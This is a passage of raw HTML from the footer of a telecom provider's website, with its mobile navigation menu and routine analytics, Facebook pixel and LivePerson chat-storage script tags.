class="altice-mobile"></a></li><li class="icon-logo"><a href="#" class="altice-business"></a></li><li class="icon-logo"><a href="#" class="altice-connects"></a></li><li class="icon-logo"><a href="#" class="a4"></a></li> </ul> </div> </div> <div class="row hide " id="is-cpc-icon-logo"> <div class="span12"> <ul> <li class="is-cpc-wide ng-binding">� Copyright 2020 CSC Holdings, LLC.</li> </ul> </div> </div> </div> </section> </div> <!-- end site-wrapper --> <!-- Make sure to make any changes added here in pages/tv/guide/bottom-guide.muctache + js --> <!-- mobile menu flyout--> <div> <div class="hidden-desktop ng-scope" data-ng-controller="BottomDefaultCtrl"> <div class="mobile_menu_sheet sheet ng-scope sheet--anim-right not-toggle" sheet="" toggle="BottomDefaultCtrl.showingMobileMenu" animate-toward="right"> <div class="sheet__inner"> <header class="sheet__head theme--primary" ng-show="sheet.title" style="display: none;"> <div class="container"> <div class="hbeam full-width text-unspace vpadding-s"> <div class="align-middle"> <h1 ng-bind="sheet.title" class="ng-binding"></h1> </div> <div class="align-right align-middle"> <button class="btn btn--heading ng-binding" ng-bind="sheet.closeLabel" ng-click="sheetCloseAction()">Back</button> </div> </div> </div> </header> <div class="sheet__body container vpadding-m" ng-transclude=""> <div class="global-nav-container-phone ng-scope"> <div class="primary-menu"> <ul> <li> <!-- <a href="#" data-ng-click="BottomDefaultCtrl.toggleshowSignOut()" class="welcome-message speech-balloon speech-balloon--tip-outwards mobile" ng-class="{active : BottomDefaultCtrl.showSignOut}"> <div class="speech-balloon__content"> <p class="username-msg">{{BottomDefaultCtrl.helloMessage.text}}</p> </div> <div class="speech-balloon__tip"></div> </a> <div data-ng-show="BottomDefaultCtrl.hasSession"> <div data-ng-show="BottomDefaultCtrl.showSignOut" class="mobile-username-slide"> <ul> <li>Not {{BottomDefaultCtrl.optimumId}}?<br/> <a cta-arrow-link class="footer-accent" data-ng-click="BottomDefaultCtrl.handleUserSignout()">Sign out</a></li> </ul> </div> </div> --> <div class="pull-right speech-bubble-home-container" data-ng-show="BottomDefaultCtrl.hasSession" style="display: none;"> <div class="welcome-message speech-balloon speech-balloon--tip-outwards mobile"> <div class="speech-balloon__content row"> <div class="span5 username-msg-div"><a href="#" class="username-msg ng-binding"></a></div> <div class="span1 verticalLine"></div> <div class="span5 signout-msg-div"><a data-ng-click="BottomDefaultCtrl.handleUserSignout()" class="signout-msg">Sign out</a></div> </div> <div class="speech-balloon__tip"></div> </div> </div> </li> <li><a href="#">Internet</a> <div class="pull-right btn btn--secondary-accent gamma" ng-show="!BottomDefaultCtrl.hasSession || BottomDefaultCtrl.hasService.musActive"> <a href="#"> <i class="icon icon-envelope"></i> <span ng-show="BottomDefaultCtrl.badge.internet >= 0" class="ng-binding">false</span> </a> </div> </li> <li><a href="#">TV</a><div data-ng-show="BottomDefaultCtrl.hasService.tv" class="pull-right btn btn--secondary-accent gamma" style="display: none;"><a href="#">DVR</a></div></li> <li><a href="#">Phone</a> <div data-ng-show="BottomDefaultCtrl.hasSession && BottomDefaultCtrl.hasService.phone" class="pull-right btn btn--secondary-accent gamma" style="display: none;"><a href="#" class="ng-binding"><i class="icon icon-phone"></i>false</a></div> <div data-ng-hide="BottomDefaultCtrl.hasSession && BottomDefaultCtrl.hasService.phone" class="pull-right btn btn--secondary-accent gamma"><a href="#"><i class="icon icon-phone"></i></a></div> </li> <li><a href="#" omtr="trackme" title="Upgrades Menu">My Offers</a></li> </ul> </div> <hr> <div class="secondary-menu"> <ul> <li><a href="#">My Profile</a></li> <li><a data-ng-click="BottomDefaultCtrl.forward()">Pay bill</a></li> <li><a href="#">Support </a><div data-ng-show="BottomDefaultCtrl.badge.support > 0" class="btn btn--alert pull-right" style="display: none;"><a href="#"></a><a href="#" class="ng-binding"><i class="icon-exclamation-major"></i> </a></div> </li> <li><a data-ng-show="BottomDefaultCtrl.hasSession && BottomDefaultCtrl.primary" href="#" style="display: none;">Service Appointments</a></li> <li> <div id="LP_Optimum_Header_Mobile"></div> </li> <li> <a href="#" class="btn btn--secondary-accent-text support-alert-btn"> <div class="mobile-support-alert-icon"> <div class="round-circle"> <i class="icon-selfhelp"></i> </div> </div> <div class="support-message"> <h4 class="msg-left-txt font-settngs">Service status</h4> </div> </a> </li> </ul> </div> <hr> <div class="tertiary-menu"> <ul> <li><a href="#">Contact us</a></li> <li><a mporgnav="" href="#" onclick="return switchLanguage('es'); function switchLanguage(lang) { MP.SrcUrl=decodeURIComponent('mp_js_orgin_url'); MP.UrlLang='mp_js_current_lang';MP.init(); MP.switchLanguage(MP.UrlLang==lang?'en':lang); return false;}">En espa�ol</a></li> </ul> </div> </div> </div> </div></div><!--/sheet--> <input type="hidden" id="selenium-footer-marker" value="BottomDefaultCtrl in bottom-default.js loaded!"> </div> </div> <script type="text/javascript"> var reporting_server = 'opt'; var reporting_pageName = "home"; var reporting_channelName = null; </script> <script type="text/javascript"> if( typeof omnitureValues !== "undefined" && omnitureValues !== undefined && omnitureValues !== "undefined" && omnitureValues !== "") { if(typeof omnitureValues.omniturePageName !== "undefined" && omnitureValues.omniturePageName !== undefined && omnitureValues.omniturePageName !== "undefined") { reporting_pageName = omnitureValues.omniturePageName; } if(typeof omnitureValues.omnitureChannelName !== "undefined" && omnitureValues.omnitureChannelName !== undefined && omnitureValues.omnitureChannelName !== "undefined") { reporting_channelName = omnitureValues.omnitureChannelName; } } </script> <!-- application script includes --> <script src="/vendor.min.js?202005190427"></script> <script src="/main.min.js?202005190427"></script> <script src="/home/home.min.js?202005190427"></script> <script src="/support/outage/outage.js?202005190427"></script> <script type="text/javascript"> if(typeof reporting !== "undefined"){ reporting.pageLoad(); } trackHistoryURL(); </script> <script type="text/javascript" id="mpelid" src="https://espanol.optimum.net/mpel/mpel.js"></script> <script> (function() { var _fbq = window._fbq || (window._fbq = []); if (!_fbq.loaded) { var fbds = document.createElement('script'); fbds.async = true; fbds.src = '//connect.facebook.net/en_US/fbds.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(fbds, s); _fbq.loaded = true; } _fbq.push(['addPixelId', '536181613171632']); })(); window._fbq = window._fbq || []; window._fbq.push(['track', 'PixelInitialized', {}]); </script> <!--[if !IE]> --> <script type="text/javascript">_satellite.pageBottom();</script> <!-- <![endif]--> <script type="text/javascript"> $('#header').css({"background-color":"#e0e0e0","color":"#000000"}); //$('header').css({"background-color":"#e0e0e0","color":"#000000"}); $('#header .theme-primary').css({"background-color":"#e0e0e0","color":"#000000"}); $('.header .theme-primary').css({"background-color":"#e0e0e0","color":"#000000"}); $('header .theme-primary').css({"background-color":"#e0e0e0","color":"#000000"}); $('#header .theme--primary').css({"background-color":"#e0e0e0","color":"#000000"}); $('.header .theme--primary').css({"background-color":"#e0e0e0","color":"#000000"}); $('header .theme--primary').css({"background-color":"#e0e0e0","color":"#000000"}); </script> <iframe style="width: 0px; height: 0px; position: absolute; top: -1000px; left: -1000px; display: none;" tabindex="-1" aria-hidden="true" role="presentation" title="Intentionally blank" name="lpSS_39344062584" id="lpSS_39344062584" src="https://lpcdn.lpsnmedia.net/le_secure_storage/3.10.0.1-release_5033/storage.secure.min.html?loc=https%3A%2F%2Fwww.optimum.net&site=38299855&env=prod"></iframe><script id="lpSS_63835204453" src="https://lpcdn.lpsnmedia.net/le_secure_storage/3.10.0.1-release_5033/storage.secure.min.js?loc=https%3A%2F%2Fwww.optimum.net&site=38299855&force=1&env=prod"></script></body></html>